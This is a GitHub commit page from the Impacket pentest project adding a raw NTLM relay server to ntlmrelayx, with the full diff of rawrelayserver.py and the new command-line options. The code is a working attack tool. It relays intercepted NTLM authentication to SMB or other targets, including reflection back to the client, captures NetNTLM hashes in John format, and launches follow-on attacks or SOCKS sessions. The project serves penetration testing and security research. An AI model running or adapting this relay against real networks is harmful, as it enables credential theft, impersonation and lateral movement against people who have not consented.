Skip to content

Commit a7095c7

Browse files
authored
Merge pull request #1190 from CCob/master
Initial support for raw NTLM relay server
2 parents badf09d + 93fb6ec commit a7095c7

File tree

3 files changed

+232
-1
lines changed

3 files changed

+232
-1
lines changed

examples/ntlmrelayx.py

+9-1
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@
4848

4949
from impacket import version
5050
from impacket.examples import logger
51-
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer
51+
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer
5252
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
5353
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
5454
from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS
@@ -174,6 +174,9 @@ def start_servers(options, threads):
174174
c.setListeningPort(options.smb_port)
175175
elif server is WCFRelayServer:
176176
c.setListeningPort(options.wcf_port)
177+
elif server is RAWRelayServer:
178+
c.setListeningPort(options.raw_port)
179+
177180

178181
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
179182
if server is HTTPRelayServer and options.r is not None:
@@ -233,10 +236,12 @@ def stop_servers(threads):
233236
serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server')
234237
serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server')
235238
serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server')
239+
serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server')
236240

237241
parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445)
238242
parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80)
239243
parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS
244+
parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666)
240245

241246
parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection')
242247
parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
@@ -385,6 +390,9 @@ def stop_servers(threads):
385390

386391
if not options.no_wcf_server:
387392
RELAY_SERVERS.append(WCFRelayServer)
393+
394+
if not options.no_raw_server:
395+
RELAY_SERVERS.append(RAWRelayServer)
388396

389397
if targetSystem is not None and options.w:
390398
watchthread = TargetsFileWatcher(targetSystem)

impacket/examples/ntlmrelayx/servers/__init__.py

+1
Original file line numberDiff line numberDiff line change
@@ -9,3 +9,4 @@
99
from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer
1010
from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer
1111
from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer
12+
from impacket.examples.ntlmrelayx.servers.rawrelayserver import RAWRelayServer
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2+
#
3+
# This software is provided under under a slightly modified version
4+
# of the Apache Software License. See the accompanying LICENSE file
5+
# for more information.
6+
#
7+
# HTTP Relay Server
8+
#
9+
# Authors:
10+
# Alberto Solino (@agsolino)
11+
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12+
# Ceri Coburn (@_EthicalChaos_)
13+
#
14+
# Description:
15+
# Written for lsarelax, but the RAW server can be used by any third-party NTLM relay server that would like to integrate with ntlmrelayx supported clients/attacks
16+
import socketserver
17+
import socket
18+
import base64
19+
import random
20+
import struct
21+
import string
22+
from threading import Thread
23+
from six import PY2
24+
25+
from impacket import ntlm, LOG
26+
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
27+
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
28+
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
29+
from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
30+
31+
32+
class RAWRelayServer(Thread):
33+
34+
class RAWServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
35+
36+
def __init__(self, server_address, RequestHandlerClass, config):
37+
self.config = config
38+
self.daemon_threads = True
39+
#if self.config.ipv6:
40+
# self.address_family = socket.AF_INET6
41+
42+
socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)
43+
44+
class RAWHandler(socketserver.BaseRequestHandler):
45+
46+
def __init__(self, request, client_address, server):
47+
self.server = server
48+
self.challengeMessage = None
49+
self.target = None
50+
self.client = None
51+
self.machineAccount = None
52+
self.machineHashes = None
53+
self.domainIp = None
54+
self.authUser = None
55+
56+
if self.server.config.target is None:
57+
# Reflection mode, defaults to SMB at the target, for now
58+
self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
59+
self.target = self.server.config.target.getTarget()
60+
if self.target is None:
61+
LOG.info("RAW: Received connection from %s, but there are no more targets left!" % client_address[0])
62+
return
63+
64+
LOG.info("RAW: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
65+
66+
super().__init__(request, client_address, server)
67+
68+
def handle(self):
69+
70+
ntlm_negotiate_len = struct.unpack('h', self.request.recv(2))
71+
ntlm_negotiate = self.request.recv(ntlm_negotiate_len[0])
72+
73+
if not self.do_ntlm_negotiate(ntlm_negotiate):
74+
# Connection failed
75+
LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
76+
self.target.scheme, self.target.netloc)
77+
self.server.config.target.logTarget(self.target)
78+
79+
else:
80+
81+
ntlm_chal_token = self.challengeMessage.getData()
82+
self.request.sendall(struct.pack('h', len(ntlm_chal_token)))
83+
self.request.sendall(ntlm_chal_token)
84+
85+
ntlm_auth_len = struct.unpack('h', self.request.recv(2))
86+
ntlm_auth = self.request.recv(ntlm_auth_len[0])
87+
88+
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
89+
authenticateMessage.fromString(ntlm_auth)
90+
91+
if not self.do_ntlm_auth(ntlm_auth, authenticateMessage):
92+
93+
self.request.sendall(struct.pack('h', 1))
94+
self.request.sendall(struct.pack('?', False))
95+
96+
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
97+
LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
98+
self.target.scheme, self.target.netloc,
99+
authenticateMessage['domain_name'].decode('utf-16le'),
100+
authenticateMessage['user_name'].decode('utf-16le')))
101+
else:
102+
LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
103+
self.target.scheme, self.target.netloc,
104+
authenticateMessage['domain_name'].decode('ascii'),
105+
authenticateMessage['user_name'].decode('ascii')))
106+
else:
107+
# Relay worked, do whatever we want here...
108+
self.request.sendall(struct.pack('h', 1))
109+
self.request.sendall(struct.pack('?', True))
110+
111+
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
112+
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
113+
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
114+
authenticateMessage['user_name'].decode('utf-16le')))
115+
else:
116+
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
117+
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
118+
authenticateMessage['user_name'].decode('ascii')))
119+
120+
ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
121+
authenticateMessage['user_name'],
122+
authenticateMessage['domain_name'],
123+
authenticateMessage['lanman'], authenticateMessage['ntlm'])
124+
self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
125+
126+
if self.server.config.outputFile is not None:
127+
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
128+
self.server.config.outputFile)
129+
130+
self.server.config.target.logTarget(self.target, True, self.authUser)
131+
132+
self.do_attack()
133+
134+
def do_ntlm_negotiate(self, token):
135+
136+
if self.target.scheme.upper() in self.server.config.protocolClients:
137+
self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)
138+
# If connection failed, return
139+
if not self.client.initConnection():
140+
return False
141+
self.challengeMessage = self.client.sendNegotiate(token)
142+
143+
# Remove target NetBIOS field from the NTLMSSP_CHALLENGE
144+
if self.server.config.remove_target:
145+
av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
146+
del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
147+
self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
148+
self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
149+
self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
150+
151+
# Check for errors
152+
if self.challengeMessage is False:
153+
return False
154+
else:
155+
LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
156+
return False
157+
158+
return True
159+
160+
def do_ntlm_auth(self, token, authenticateMessage):
161+
162+
# For some attacks it is important to know the authenticated username, so we store it
163+
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
164+
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
165+
authenticateMessage['user_name'].decode('utf-16le'))).upper()
166+
else:
167+
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
168+
authenticateMessage['user_name'].decode('ascii'))).upper()
169+
170+
if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
171+
clientResponse, errorCode = self.client.sendAuth(token)
172+
else:
173+
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
174+
# when coming from localhost
175+
errorCode = STATUS_ACCESS_DENIED
176+
177+
if errorCode == STATUS_SUCCESS:
178+
return True
179+
180+
return False
181+
182+
def do_attack(self):
183+
# Check if SOCKS is enabled and if we support the target scheme
184+
if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
185+
# Pass all the data to the socksplugins proxy
186+
activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
187+
self.authUser, self.client, self.client.sessionData))
188+
return
189+
190+
# If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
191+
if self.target.scheme.upper() in self.server.config.attacks:
192+
# We have an attack.. go for it
193+
clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
194+
self.authUser)
195+
clientThread.start()
196+
else:
197+
LOG.error('No attack configured for %s' % self.target.scheme.upper())
198+
199+
def __init__(self, config):
200+
Thread.__init__(self)
201+
self.daemon = True
202+
self.config = config
203+
self.server = None
204+
205+
def run(self):
206+
207+
if self.config.listeningPort:
208+
rawport = self.config.listeningPort
209+
else:
210+
rawport = 6666
211+
212+
LOG.info("Setting up RAW Server on port " + str(rawport))
213+
214+
# changed to read from the interfaceIP set in the configuration
215+
self.server = self.RAWServer((self.config.interfaceIp, rawport), self.RAWHandler, self.config)
216+
217+
try:
218+
self.server.serve_forever()
219+
except KeyboardInterrupt:
220+
pass
221+
LOG.info('Shutting down RAW Server')
222+
self.server.server_close()

0 commit comments

Comments
 (0)